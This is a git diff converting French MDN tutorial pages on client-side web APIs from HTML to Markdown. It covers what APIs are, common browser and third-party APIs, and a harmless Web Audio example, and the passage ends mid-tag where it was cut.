[SVG](/fr/docs/Web/SVG) (Scalable Vector Graphics), aux APIs pour dessiner sur les éléments HTML {{htmlelement("canvas")}}, (voir [API Canvas](/fr/docs/Web/HTML/Canvas) et [WebGL](/fr/docs/Web/API/WebGL_API)). Cet article fournit une introduction à canvas et introduit d'autres ressources pour vous permettre d'en apprendre plus. +- [APIs vidéo et audio](/fr/Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs) + - : HTML5 fournit des éléments pour intégrer du multimédia dans les documents — {{htmlelement("video")}} et {{htmlelement("audio")}} — et qui viennent avec leurs propres APIs pour contrôler la lecture, se déplacer dans le flux, etc*.* Cet article montre comment réaliser les tâches les plus communes, comme créer des contrôles de lectures personnalisés. +- [Stockage côté client](/fr/Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage) + - : Les navigateurs web modernes permettent aux sites web de stocker des données sur l'ordinateur de l'utilisateur — avec sa permission — puis de les récupérer au besoin. Cela permet d'enregistrer des données pour du stockage long-terme, de sauvegarder des documents ou sites hors-ligne, de conserver des préférences spécifiques à l'utilisateur, et plus encore. Cet article explique les fondamentaux pour y parvenir. diff --git a/files/fr/learn/javascript/client-side_web_apis/introduction/index.md b/files/fr/learn/javascript/client-side_web_apis/introduction/index.md index ed8648ce6f..b547ca5265 100644 --- a/files/fr/learn/javascript/client-side_web_apis/introduction/index.md +++ b/files/fr/learn/javascript/client-side_web_apis/introduction/index.md @@ -15,151 +15,151 @@ tags: translation_of: Learn/JavaScript/Client-side_web_APIs/Introduction original_slug: Apprendre/JavaScript/Client-side_web_APIs/Introduction --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{NextMenu("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs")}} -<div>{{NextMenu("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs")}}</div> - -<p>Tout d'abord, nous verrons dans les grandes lignes ce qu'est une API — leur fonctionnement, comment les utiliser dans votre code, leur structure. Nous verrons également quelles sont les principales API et leur utilisation.</p> +Tout d'abord, nous verrons dans les grandes lignes ce qu'est une API — leur fonctionnement, comment les utiliser dans votre code, leur structure. Nous verrons également quelles sont les principales API et leur utilisation. <table class="standard-table"> <tbody> <tr> <th scope="row">Prérequis :</th> - <td>Des connaissances de base en informatique, une compréhension de base du <a href="/fr/docs/Learn/HTML">HTML</a> et <a href="/fr/docs/Learn/CSS">CSS</a>, des notions de JavaScript (voir <a href="/fr/docs/Learn/JavaScript/First_steps">premiers pas</a>, <a href="/fr/docs/Learn/JavaScript/Building_blocks">briques JavaScript</a>, <a href="/fr/docs/Learn/JavaScript/Objects">objets JavaScript</a>).</td> + <td> + Des connaissances de base en informatique, une compréhension de base du + <a href="/fr/docs/Learn/HTML">HTML</a> et + <a href="/fr/docs/Learn/CSS">CSS</a>, des notions de JavaScript (voir + <a href="/fr/docs/Learn/JavaScript/First_steps">premiers pas</a>, + <a href="/fr/docs/Learn/JavaScript/Building_blocks" + >briques JavaScript</a + >, <a href="/fr/docs/Learn/JavaScript/Objects">objets JavaScript</a>). + </td> </tr> <tr> <th scope="row">Objectif :</th> - <td>Vous familiariser avec les API, ce qu'elles permettent de faire, et comment les utiliser dans votre code.</td> + <td> + Vous familiariser avec les API, ce qu'elles permettent de faire, et + comment les utiliser dans votre code. + </td> </tr> </tbody> </table> -<h2 id="what_are_apis">Qu'est-ce qu'une API ?</h2> +## Qu'est-ce qu'une API ? -<p>Les API (<i>Application Programming Interfaces</i> soit « interface de programmation d'application ») sont des constructions disponibles dans les langages de programmation pour permettre aux développeurs de créer plus facilement des fonctionnalités complexes. Elles s'occupent des parties de code plus complexes, fournissant au développeur une syntaxe plus facile à utiliser à la place.</p> +Les API (_Application Programming Interfaces_ soit « interface de programmation d'application ») sont des constructions disponibles dans les langages de programmation pour permettre aux développeurs de créer plus facilement des fonctionnalités complexes. Elles s'occupent des parties de code plus complexes, fournissant au développeur une syntaxe plus facile à utiliser à la place. -<p>En guise d'exemple concret, pensez à des branchements électriques dans une maison, appartement ou autre logement. Si vous souhaitez utiliser un appareil dans votre maison, il vous suffit de le brancher dans une prise et cela fonctionne. Vous n'essayez pas de le brancher directement à l'alimentation électrique — le faire serait réellement inefficace, et, si vous n'êtes pas électricien, difficile et dangereux à réaliser.</p> +En guise d'exemple concret, pensez à des branchements électriques dans une maison, appartement ou autre logement. Si vous souhaitez utiliser un appareil dans votre maison, il vous suffit de le brancher dans une prise et cela fonctionne. Vous n'essayez pas de le brancher directement à l'alimentation électrique — le faire serait réellement inefficace, et, si vous n'êtes pas électricien, difficile et dangereux à réaliser. -<p><img alt="" src="plug-socket.png"></p> + -<p><em>Source de l'image : <a href="https://www.flickr.com/photos/easy-pics/9518184890/in/photostream/lightbox/">Overloaded plug socket</a> par <a href="https://www.flickr.com/photos/easy-pics/">The Clear Communication People</a>, sur Flickr.</em></p> +_Source de l'image : [Overloaded plug socket](https://www.flickr.com/photos/easy-pics/9518184890/in/photostream/lightbox/) par [The Clear Communication People](https://www.flickr.com/photos/easy-pics/), sur Flickr._ -<p>De la même façon, par exemple, pour programmer des graphismes en 3D, il est beaucoup plus facile de le faire en utilisant une API écrite dans un langage de haut niveau comme JavaScript ou Python, plutôt que d'essayer d'écrire du code bas niveau (comme C ou C ++) qui contrôle directement le GPU de l'ordinateur ou d'autres fonctions graphiques.</p> +De la même façon, par exemple, pour programmer des graphismes en 3D, il est beaucoup plus facile de le faire en utilisant une API écrite dans un langage de haut niveau comme JavaScript ou Python, plutôt que d'essayer d'écrire du code bas niveau (comme C ou C ++) qui contrôle directement le GPU de l'ordinateur ou d'autres fonctions graphiques. -<div class="note"> - <p><strong>Note :</strong> Voir aussi l'<a href="/fr/docs/Glossary/API">entrée du glossaire du terme API</a> pour plus de descriptions.</p> -</div> +> **Note :** Voir aussi l'[entrée du glossaire du terme API](/fr/docs/Glossary/API) pour plus de descriptions. -<h3 id="apis_in_client-side_javascript">API JavaScript côté client</h3> +### API JavaScript côté client -<p>Le JavaScript côté client en particulier a de nombreuses API à sa disposition — elles ne font pas partie du langage JavaScript lui-même, elles sont construites par-dessus JavaScript, offrant des super-pouvoirs supplémentaires à utiliser dans votre code. Elles appartiennent généralement à une des deux catégories :</p> +Le JavaScript côté client en particulier a de nombreuses API à sa disposition — elles ne font pas partie du langage JavaScript lui-même, elles sont construites par-dessus JavaScript, offrant des super-pouvoirs supplémentaires à utiliser dans votre code. Elles appartiennent généralement à une des deux catégories : -<ul> - <li><strong>Les API du navigateur</strong> sont intégrées au navigateur web et permettent de rendre disponibles les données du navigateur et de son environnement afin de réaliser des choses complexes avec. Ainsi, <a href="/fr/docs/Web/API/Web_Audio_API">l'API Web Audio</a> fournit des constructions JavaScript pour manipuler des données audio dans le navigateur. On pourra utiliser cette API afin de récupérer une piste audio puis d'abaisser son volume, d'y appliquer des effets, etc. Sous le capot, c'est le navigateur qui s'occupe des couches plus complexes en code « bas niveau » (C++ ou Rust par exemple) afin de réaliser le traitement du signal. Là encore, cette complexité est masquée par l'abstraction offerte par l'API.</li> - <li><strong>Les API tierces</strong> ne sont pas intégrées au navigateur par défaut, et vous devez généralement récupérer le code de l'API et des informations depuis un site Web.<br> - Par exemple: l'<a href="https://dev.twitter.com/overview/documentation">API Twitter</a> vous permet d'afficher vos derniers tweets sur votre site Web. Elle fournit un ensemble de constructions que vous pouvez utiliser pour interroger le service Twitter et qui renvoie alors les informations demandées.</li> -</ul> +- **Les API du navigateur** sont intégrées au navigateur web et permettent de rendre disponibles les données du navigateur et de son environnement afin de réaliser des choses complexes avec. Ainsi, [l'API Web Audio](/fr/docs/Web/API/Web_Audio_API) fournit des constructions JavaScript pour manipuler des données audio dans le navigateur. On pourra utiliser cette API afin de récupérer une piste audio puis d'abaisser son volume, d'y appliquer des effets, etc. Sous le capot, c'est le navigateur qui s'occupe des couches plus complexes en code « bas niveau » (C++ ou Rust par exemple) afin de réaliser le traitement du signal. Là encore, cette complexité est masquée par l'abstraction offerte par l'API. +- **Les API tierces** ne sont pas intégrées au navigateur par défaut, et vous devez généralement récupérer le code de l'API et des informations depuis un site Web. + Par exemple: l'[API Twitter](https://dev.twitter.com/overview/documentation) vous permet d'afficher vos derniers tweets sur votre site Web. Elle fournit un ensemble de constructions que vous pouvez utiliser pour interroger le service Twitter et qui renvoie alors les informations demandées. -<p><img alt="" src="browser.png"></p> + -<h3 id="relationship_between_javascript_apis_and_other_javascript_tools">Relations entre JavaScript, les API et autres outils JavaScript</h3> +### Relations entre JavaScript, les API et autres outils JavaScript -<p>Ci-dessus, nous avons indiqué ce qu'est une API JavaScript côté client et sa relation avec le langage JavaScript. Pour récapituler, clarifier, et apporter plus de précisions sur d'autres outils JavaScript qui existent:</p> +Ci-dessus, nous avons indiqué ce qu'est une API JavaScript côté client et sa relation avec le langage JavaScript. Pour récapituler, clarifier, et apporter plus de précisions sur d'autres outils JavaScript qui existent: -<ul> - <li>JavaScript — Un langage de programmation de haut niveau intégré aux navigateurs, qui permet de mettre en œuvre des fonctionnalités sur les pages et applications Web. Notez que JavaScript est également disponible dans d'autres environnements de programmation, tels que <a href="/fr/docs/Learn/Server-side/Express_Nodejs/Introduction">Node</a>. Mais ne vous en préoccupez pas pour l'instant.</li> - <li>Les API du navigateur — Constructions intégrées dans le navigateur, situées au‑dessus du langage JavaScript, permettant une mise en œuvre plus facile de fonctionnalités.</li> - <li>Les API tierces — Constructions intégrées à des plateformes tierces (par exemple Twitter, Facebook) qui permettent d'utiliser certaines fonctionnalités de ces plateformes dans vos propres pages Web (par exemple: afficher vos derniers Tweets sur votre page Web).</li> - <li>Les bibliothèques JavaScript — Habituellement, un ou plusieurs fichiers JavaScript contenant des <a href="/fr/docs/Learn/JavaScript/Building_blocks/Functions#custom_functions">fonctions personnalisées</a> que vous pouvez attacher à votre page Web pour accélérer ou activer l'écriture de fonctionnalités courantes. Des exemples incluent jQuery, Mootools et React.</li> - <li>Les <i>frameworks</i> JavaScript — Au‑dessus des bibliothèques, les <i>frameworks</i> JavaScript (par exemple Angular et Ember) sont plutôt des packages de HTML, CSS, JavaScript et autres technologies, que vous installez puis utilisez pour écrire une application web entière.<br> - La différence essentielle entre une bibliothèque et un <i>framework</i> est « l'Inversion du Contrôle ». Avec une bibliothèque, c'est le développeur qui appelle les méthodes de la bibliothèque — il exerce le contrôle. Avec un <i>framework</i>, le contrôle est inversé : c'est le <i>framework</i> qui appelle le code du développeur.</li> -</ul> +- JavaScript — Un langage de programmation de haut niveau intégré aux navigateurs, qui permet de mettre en œuvre des fonctionnalités sur les pages et applications Web. Notez que JavaScript est également disponible dans d'autres environnements de programmation, tels que [Node](/fr/docs/Learn/Server-side/Express_Nodejs/Introduction). Mais ne vous en préoccupez pas pour l'instant. +- Les API du navigateur — Constructions intégrées dans le navigateur, situées au‑dessus du langage JavaScript, permettant une mise en œuvre plus facile de fonctionnalités. +- Les API tierces — Constructions intégrées à des plateformes tierces (par exemple Twitter, Facebook) qui permettent d'utiliser certaines fonctionnalités de ces plateformes dans vos propres pages Web (par exemple: afficher vos derniers Tweets sur votre page Web). +- Les bibliothèques JavaScript — Habituellement, un ou plusieurs fichiers JavaScript contenant des [fonctions personnalisées](/fr/docs/Learn/JavaScript/Building_blocks/Functions#custom_functions) que vous pouvez attacher à votre page Web pour accélérer ou activer l'écriture de fonctionnalités courantes. Des exemples incluent jQuery, Mootools et React. +- Les _frameworks_ JavaScript — Au‑dessus des bibliothèques, les _frameworks_ JavaScript (par exemple Angular et Ember) sont plutôt des packages de HTML, CSS, JavaScript et autres technologies, que vous installez puis utilisez pour écrire une application web entière. + La différence essentielle entre une bibliothèque et un _framework_ est « l'Inversion du Contrôle ». Avec une bibliothèque, c'est le développeur qui appelle les méthodes de la bibliothèque — il exerce le contrôle. Avec un _framework_, le contrôle est inversé : c'est le _framework_ qui appelle le code du développeur. -<h2 id="what_can_apis_do">Que peuvent faire les API ?</h2> +## Que peuvent faire les API ? -<p>Il y a un beaucoup d'API disponibles dans les navigateurs modernes. Elles permettent de faire un large éventail de choses. Vous pouvez vous en faire une petite idée en jetant un coup d'œil à la <a href="/fr/docs/Web/API">page de l'index des API MDN</a>.</p> +Il y a un beaucoup d'API disponibles dans les navigateurs modernes. Elles permettent de faire un large éventail de choses. Vous pouvez vous en faire une petite idée en jetant un coup d'œil à la [page de l'index des API MDN](/fr/docs/Web/API). -<h3 id="common_browser_apis">API de navigateur courantes</h3> +### API de navigateur courantes -<p>En particulier, voici les catégories d'API de navigateur les plus courantes que vous utiliserez (et que nous allons voir dans ce module plus en détail) :</p> +En particulier, voici les catégories d'API de navigateur les plus courantes que vous utiliserez (et que nous allons voir dans ce module plus en détail) : -<ul> - <li><strong>Les API pour manipuler des documents</strong> chargés dans le navigateur. L'exemple le plus évident est l'<a href="/fr/docs/Web/API/Document_Object_Model">API DOM (<i>Document Object Model</i>)</a>. Elle permet de manipuler le HTML et CSS — créer, supprimer et modifier du code HTML, appliquer de nouveaux styles à votre page dynamiquement, etc. Par exemple, chaque fois que vous voyez une fenêtre pop-up apparaître sur une page, ou qu'un nouveau contenu affiché, c'est que le DOM est en action. Découvrez-en plus sur ces types d'API dans la rubrique <a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipuler des documents</a>.</li> - <li><strong>Les API pour récupérer des données du serveur</strong>, afin de mettre à jour des sections d'une page Web, sont couramment utilisées. Ce détail apparemment anodin a eu un impact énorme sur les performances et le comportement des sites — si vous avez juste besoin de mettre à jour une liste de produits ou afficher de nouveaux articles disponibles, le faire instantanément sans avoir à recharger toute la page du serveur peut rendre le site ou l'application beaucoup plus réactif et « accrocheur ». <a href="/fr/docs/Web/API/XMLHttpRequest">XMLHttpRequest </a>et l'<a href="/fr/docs/Web/API/Fetch_API">API Fetch</a> sont les API qui rendent ça possible. Vous verrez aussi peut-être le terme <strong>Ajax</strong> pour qualifier cette technique. Pour en savoir plus sur ces API, voir <a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Récupérer des données du serveur.</a></li> - <li><strong>Les API pour dessiner et manipuler des graphiques</strong> sont maintenant couramment prises en charge dans les navigateurs — les plus populaires sont <a href="/fr/docs/Web/API/Canvas_API">Canvas </a>et <a href="/fr/docs/Web/API/WebGL_API">WebGL</a>. Elles permettent la mise à jour, par programmation, des pixels contenus dans un élément HTML <a href="/fr/docs/Web/HTML/Element/canvas"><code><canvas></code></a> pour créer des scènes 2D et 3D. Par exemple, vous pouvez dessiner des formes comme des rectangles ou des cercles, importer une image sur le canevas, et lui appliquer un filtre sépia ou niveau de gris à l'aide de l'API Canvas ou encore créer une scène 3D complexe avec éclairage et textures en utilisant WebGL. De telles API sont souvent combinées avec d'autres API, par exemple <a href="/fr/docs/Web/API/Window/requestAnimationFrame"><code>window.requestAnimationFrame()</code></a>, pour créer des boucles d'animation (faire des mises à jour continues de scènes) et ainsi créer des dessins animés et des jeux. Pour en savoir plus sur ces API, voir <a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Dessiner des éléments graphiques</a>.</li> - <li><strong>Les API audio et vidéo</strong> comme <a href="/fr/docs/Web/API/HTMLMediaElement"><code>HTMLMediaElement</code></a>, <a href="/fr/docs/Web/API/Web_Audio_API">Web Audio API</a> ou <a href="/fr/docs/Web/API/WebRTC_API">WebRTC</a>, permettent de faire des choses vraiment intéressantes avec du multimédia, telles que la création de contrôles UI personnalisées pour jouer de l'audio et vidéo, l'affichage de textes comme des légendes et des sous-titres, la récupération de vidéos depuis votre webcam pour l'afficher sur l'ordinateur d'une autre personne dans une visio‑conférence ou encore l'ajout d'effets sur des pistes audio (tels que le gain, la distorsion, la balance, etc.). Pour en savoir plus sur ces API, voir <a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">API audio et vidéo</a>.</li> - <li><strong>Les API de périphérique</strong> permettent essentiellement de manier et récupérer des données à partir de périphériques modernes, de manière utile pour les applications Web. Nous avons déjà parlé de l'API de géolocalisation accédant aux données d'emplacement de l'appareil afin que vous puissiez repérer votre position sur une carte. Autres exemples : indiquer à l'utilisateur qu'une mise à jour est disponible pour une application Web via des notifications système (voir l'<a href="/fr/docs/Web/API/Notifications_API">API Notifications</a>) ou des vibrations (voir l'<a href="/fr/docs/Web/API/Vibration_API">API Vibration</a>).</li> - <li><strong>Les API de stockage côté client</strong> deviennent de plus en plus répandues dans les navigateurs Web — la possibilité de stocker des données côté client est très utile si vous souhaitez créer une application qui enregistre son état entre les chargements de page, et peut-être même fonctionner lorsque le périphérique est hors ligne. Il existe un certain nombre d'options disponibles, par exemple le simple stockage nom/valeur avec l'<a href="/fr/docs/Web/API/Web_Storage_API">API Web Storage</a>, et le stockage plus complexe de données tabulaires avec l'<a href="/fr/docs/Web/API/IndexedDB_API">API IndexedDB</a>. Pour en savoir plus sur ces API, voir <a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">Stockage côté client</a>.</li> -</ul> +- **Les API pour manipuler des documents** chargés dans le navigateur. L'exemple le plus évident est l'[API DOM (_Document Object Model_)](/fr/docs/Web/API/Document_Object_Model). Elle permet de manipuler le HTML et CSS — créer, supprimer et modifier du code HTML, appliquer de nouveaux styles à votre page dynamiquement, etc. Par exemple, chaque fois que vous voyez une fenêtre pop-up apparaître sur une page, ou qu'un nouveau contenu affiché, c'est que le DOM est en action. Découvrez-en plus sur ces types d'API dans la rubrique [Manipuler des documents](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents). +- **Les API pour récupérer des données du serveur**, afin de mettre à jour des sections d'une page Web, sont couramment utilisées. Ce détail apparemment anodin a eu un impact énorme sur les performances et le comportement des sites — si vous avez juste besoin de mettre à jour une liste de produits ou afficher de nouveaux articles disponibles, le faire instantanément sans avoir à recharger toute la page du serveur peut rendre le site ou l'application beaucoup plus réactif et « accrocheur ». [XMLHttpRequest ](/fr/docs/Web/API/XMLHttpRequest)et l'[API Fetch](/fr/docs/Web/API/Fetch_API) sont les API qui rendent ça possible. Vous verrez aussi peut-être le terme **Ajax** pour qualifier cette technique. Pour en savoir plus sur ces API, voir [Récupérer des données du serveur.](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data) +- **Les API pour dessiner et manipuler des graphiques** sont maintenant couramment prises en charge dans les navigateurs — les plus populaires sont [Canvas ](/fr/docs/Web/API/Canvas_API)et [WebGL](/fr/docs/Web/API/WebGL_API). Elles permettent la mise à jour, par programmation, des pixels contenus dans un élément HTML [`<canvas>`](/fr/docs/Web/HTML/Element/canvas) pour créer des scènes 2D et 3D. Par exemple, vous pouvez dessiner des formes comme des rectangles ou des cercles, importer une image sur le canevas, et lui appliquer un filtre sépia ou niveau de gris à l'aide de l'API Canvas ou encore créer une scène 3D complexe avec éclairage et textures en utilisant WebGL. De telles API sont souvent combinées avec d'autres API, par exemple [`window.requestAnimationFrame()`](/fr/docs/Web/API/Window/requestAnimationFrame), pour créer des boucles d'animation (faire des mises à jour continues de scènes) et ainsi créer des dessins animés et des jeux. Pour en savoir plus sur ces API, voir [Dessiner des éléments graphiques](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics). +- **Les API audio et vidéo** comme [`HTMLMediaElement`](/fr/docs/Web/API/HTMLMediaElement), [Web Audio API](/fr/docs/Web/API/Web_Audio_API) ou [WebRTC](/fr/docs/Web/API/WebRTC_API), permettent de faire des choses vraiment intéressantes avec du multimédia, telles que la création de contrôles UI personnalisées pour jouer de l'audio et vidéo, l'affichage de textes comme des légendes et des sous-titres, la récupération de vidéos depuis votre webcam pour l'afficher sur l'ordinateur d'une autre personne dans une visio‑conférence ou encore l'ajout d'effets sur des pistes audio (tels que le gain, la distorsion, la balance, etc.). Pour en savoir plus sur ces API, voir [API audio et vidéo](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs). +- **Les API de périphérique** permettent essentiellement de manier et récupérer des données à partir de périphériques modernes, de manière utile pour les applications Web. Nous avons déjà parlé de l'API de géolocalisation accédant aux données d'emplacement de l'appareil afin que vous puissiez repérer votre position sur une carte. Autres exemples : indiquer à l'utilisateur qu'une mise à jour est disponible pour une application Web via des notifications système (voir l'[API Notifications](/fr/docs/Web/API/Notifications_API)) ou des vibrations (voir l'[API Vibration](/fr/docs/Web/API/Vibration_API)). +- **Les API de stockage côté client** deviennent de plus en plus répandues dans les navigateurs Web — la possibilité de stocker des données côté client est très utile si vous souhaitez créer une application qui enregistre son état entre les chargements de page, et peut-être même fonctionner lorsque le périphérique est hors ligne. Il existe un certain nombre d'options disponibles, par exemple le simple stockage nom/valeur avec l'[API Web Storage](/fr/docs/Web/API/Web_Storage_API), et le stockage plus complexe de données tabulaires avec l'[API IndexedDB](/fr/docs/Web/API/IndexedDB_API). Pour en savoir plus sur ces API, voir [Stockage côté client](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage). -<h3 id="common_third-party_apis">API tierces courantes</h3> +### API tierces courantes -<p>Il y a une grande variété d'API tierces ; en voici quelques-unes des plus populaires que vous allez probablement utiliser tôt ou tard :</p> +Il y a une grande variété d'API tierces ; en voici quelques-unes des plus populaires que vous allez probablement utiliser tôt ou tard : -<ul> - <li><a href="https://dev.twitter.com/overview/documentation">L'API Twitter</a> vous permet d'afficher vos derniers tweets sur un site web.</li> - <li>Les API de cartographie comme <a href="https://developer.mapquest.com/">Mapquest</a> et <a href="https://developers.google.com/maps/">Google Maps API</a> vous permettent de réaliser toute sorte de cartes dans des pages web.</li> - <li><a href="https://developers.facebook.com/docs/">L'ensemble d'API de Facebook</a> permet d'utiliser différentes parties de l'écosystème de Facebook dans votre application (par exemple pour la connexion avec un compte Facebook, la gestion des paiements ou de publicité, etc.).</li> - <li><a href="https://core.telegram.org/api">Les API Telegram</a> permettent d'intégrer le contenu de canaux Telegram sur un site web et de prendre en charge les bots.</li> - <li><a href="https://developers.google.com/youtube/">L'API YouTube</a> vous permet d'intégrer des vidéos YouTube sur votre site, de faire des recherches sur YouTube, de construire des listes de lecture, etc.</li> - <li><a href="https://developers.pinterest.com/">L'API Pinterest</a> fournit des outils pour gérer des tableaux et épingles Pinterest et de les inclures à votre site web.</li> - <li><a href="https://www.twilio.com/">L'API Twilio</a> fournit un ensemble d'outil pour intégrer des fonctionnalités d'appels audio et vidéo à une application et/ou d'envoyer des SMS/MMS.</li> - <li><a href="https://docs.joinmastodon.org/api/">L'API Mastodon</a> permet de manipuler les fonctionnalités du réseau social Mastodon grâce à des programmes.</li> - </ul> +- [L'API Twitter](https://dev.twitter.com/overview/documentation) vous permet d'afficher vos derniers tweets sur un site web. +- Les API de cartographie comme [Mapquest](https://developer.mapquest.com/) et [Google Maps API](https://developers.google.com/maps/) vous permettent de réaliser toute sorte de cartes dans des pages web. +- [L'ensemble d'API de Facebook](https://developers.facebook.com/docs/) permet d'utiliser différentes parties de l'écosystème de Facebook dans votre application (par exemple pour la connexion avec un compte Facebook, la gestion des paiements ou de publicité, etc.). +- [Les API Telegram](https://core.telegram.org/api) permettent d'intégrer le contenu de canaux Telegram sur un site web et de prendre en charge les bots. +- [L'API YouTube](https://developers.google.com/youtube/) vous permet d'intégrer des vidéos YouTube sur votre site, de faire des recherches sur YouTube, de construire des listes de lecture, etc. +- [L'API Pinterest](https://developers.pinterest.com/) fournit des outils pour gérer des tableaux et épingles Pinterest et de les inclures à votre site web. +- [L'API Twilio](https://www.twilio.com/) fournit un ensemble d'outil pour intégrer des fonctionnalités d'appels audio et vidéo à une application et/ou d'envoyer des SMS/MMS. +- [L'API Mastodon](https://docs.joinmastodon.org/api/) permet de manipuler les fonctionnalités du réseau social Mastodon grâce à des programmes. -<div class="note"> - <p><strong>Note :</strong> Vous pouvez trouver des informations sur beaucoup plus d'API tierces dans le <a href="http://www.programmableweb.com/category/all/apis">répertoire Programmable Web API.</a></p> -</div> +> **Note :** Vous pouvez trouver des informations sur beaucoup plus d'API tierces dans le [répertoire Programmable Web API.](http://www.programmableweb.com/category/all/apis) -<h2 id="how_do_apis_work">Comment les API fonctionnent-elles ?</h2> +## Comment les API fonctionnent-elles ? -<p>Chaque API JavaScript fonctionne de manière légèrement différente d'une autre, mais de manière générale, elles ont des fonctionnalités communes et des thèmes similaires.</p> +Chaque API JavaScript fonctionne de manière légèrement différente d'une autre, mais de manière générale, elles ont des fonctionnalités communes et des thèmes similaires. -<h3 id="they_are_based_on_objects">Elles sont fondées sur des objets</h3> +### Elles sont fondées sur des objets -<p>Les API interagissent avec le code en utilisant un ou plusieurs <a href="/fr/docs/Learn/JavaScript/Objects">objets JavaScript</a>, qui servent de conteneurs pour les données utilisées par l'API (contenues dans les propriétés d'objet), et la fonctionnalité rendue disponible par l'API (contenue dans des méthodes d'objet).</p> +Les API interagissent avec le code en utilisant un ou plusieurs [objets JavaScript](/fr/docs/Learn/JavaScript/Objects), qui servent de conteneurs pour les données utilisées par l'API (contenues dans les propriétés d'objet), et la fonctionnalité rendue disponible par l'API (contenue dans des méthodes d'objet). -<div class="note"> - <p><strong>Note :</strong> Si vous n'êtes pas déjà familier avec le fonctionnement des objets, vous devriez revenir en arrière et parcourir le module <a href="/fr/docs/Learn/JavaScript/Objects">objets JavaScript</a> avant de continuer.</p> -</div> +> **Note :** Si vous n'êtes pas déjà familier avec le fonctionnement des objets, vous devriez revenir en arrière et parcourir le module [objets JavaScript](/fr/docs/Learn/JavaScript/Objects) avant de continuer. -<p>Prenons comme exemple l'API Web Audio. Il s'agit d'une API assez complexe avec plusieurs objets. Voici les objets principaux :</p> +Prenons comme exemple l'API Web Audio. Il s'agit d'une API assez complexe avec plusieurs objets. Voici les objets principaux : -<ul> - <li><a href="/fr/docs/Web/API/AudioContext"><code>AudioContext</code></a>, qui représente un <a href="/fr/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#audio_graphs">graphe audio</a> qui peut être utilisé afin de manipuler la lecture audio dans le navigateur et qui possède différentes méthodes et propriétés qui sont disponibles pour manipuler ce signal audio.</li> - <li><li><a href="/fr/docs/Web/API/MediaElementAudioSourceNode"><code>MediaElementAudioSourceNode</code></a>, qui représente un élément <a href="/fr/docs/Web/HTML/Element/audio"><code><audio></code></a> contenant du son qu'on veut jouer et manipuler dans le contexte.</li> - <li><a href="/fr/docs/Web/API/AudioDestinationNode"><code>AudioDestinationNode</code></a>, qui représente la destination de l'audio, c'est-à-dire le composant physique qui sera utilisé pour produire le son (il s'agit généralement des hauts-parleurs ou des écouteurs).</li> -</ul> +- [`AudioContext`](/fr/docs/Web/API/AudioContext), qui représente un [graphe audio](/fr/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#audio_graphs) qui peut être utilisé afin de manipuler la lecture audio dans le navigateur et qui possède différentes méthodes et propriétés qui sont disponibles pour manipuler ce signal audio. +- +- [`MediaElementAudioSourceNode`](/fr/docs/Web/API/MediaElementAudioSourceNode), qui représente un élément [`<audio>`](/fr/docs/Web/HTML/Element/audio) contenant du son qu'on veut jouer et manipuler dans le contexte. +- [`AudioDestinationNode`](/fr/docs/Web/API/AudioDestinationNode), qui représente la destination de l'audio, c'est-à-dire le composant physique qui sera utilisé pour produire le son (il s'agit généralement des hauts-parleurs ou des écouteurs). +Alors comment ces objets interagissent-ils ? Si vous regardez notre exemple [d'élément audio](https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/web-audio/index.html) (regardez‑le [aussi en direct](https://mdn.github.io/learning-area/javascript/apis/introduction/web-audio/)), vous verrez le code suivant : -<p>Alors comment ces objets interagissent-ils ? Si vous regardez notre exemple <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/web-audio/index.html">d'élément audio</a> (regardez‑le <a href="https://mdn.github.io/learning-area/javascript/apis/introduction/web-audio/">aussi en direct</a>), vous verrez le code suivant : </p> +```html +<audio src="outfoxing.mp3"></audio> -<pre class="brush: html"><audio src="outfoxing.mp3"></audio> +<button class="paused">Play</button> +<br> +<input type="range" min="0" max="1" step="0.01" value="1" class="volume"> +``` -<button class="paused">Play</button> -<br> -<input type="range" min="0" max="1" step="0.01" value="1" class="volume"></pre> - -<p>Nous incluons, tout d'abord, un élément <code><audio></code> avec lequel nous intégrons un MP3 dans la page. Nous n'incluons pas de contrôles par défaut du navigateur. Ensuite, nous incluons un <a href="/fr/docs/Web/HTML/Element/Button"><code><button></code></a> que nous utiliserons pour lire et arrêter la musique, et un élément <a href="/fr/docs/Web/HTML/Element/Input"><code><input></code></a> de type range, que nous utiliserons pour ajuster le volume de la piste en cours de lecture.</p> +Nous incluons, tout d'abord, un élément `<audio>` avec lequel nous intégrons un MP3 dans la page. Nous n'incluons pas de contrôles par défaut du navigateur. Ensuite, nous incluons un [`<button>`](/fr/docs/Web/HTML/Element/Button) que nous utiliserons pour lire et arrêter la musique, et un élément [`<input>`](/fr/docs/Web/HTML/Element/Input) de type range, que nous utiliserons pour ajuster le volume de la piste en cours de lecture. -<p>Ensuite, examinons le JavaScript de cet exemple.</p> +Ensuite, examinons le JavaScript de cet exemple. -<p>Nous commençons par créer une instance <code>AudioContext</code> à l'intérieur de laquelle nous allons manipuler notre piste :</p> +Nous commençons par créer une instance `AudioContext` à l'intérieur de laquelle nous allons manipuler notre piste : -<pre class="brush: js">const AudioContext = window.AudioContext || window.webkitAudioContext; -const audioCtx = new AudioContext();</pre> +```js +const AudioContext = window.AudioContext || window.webkitAudioContext; +const audioCtx = new AudioContext(); +``` -<p>Ensuite, nous créons des constantes qui stockent les références à nos éléments <code><audio></code>, <code><button></code> et <code><input></code>, et nous utilisons la méthode <a 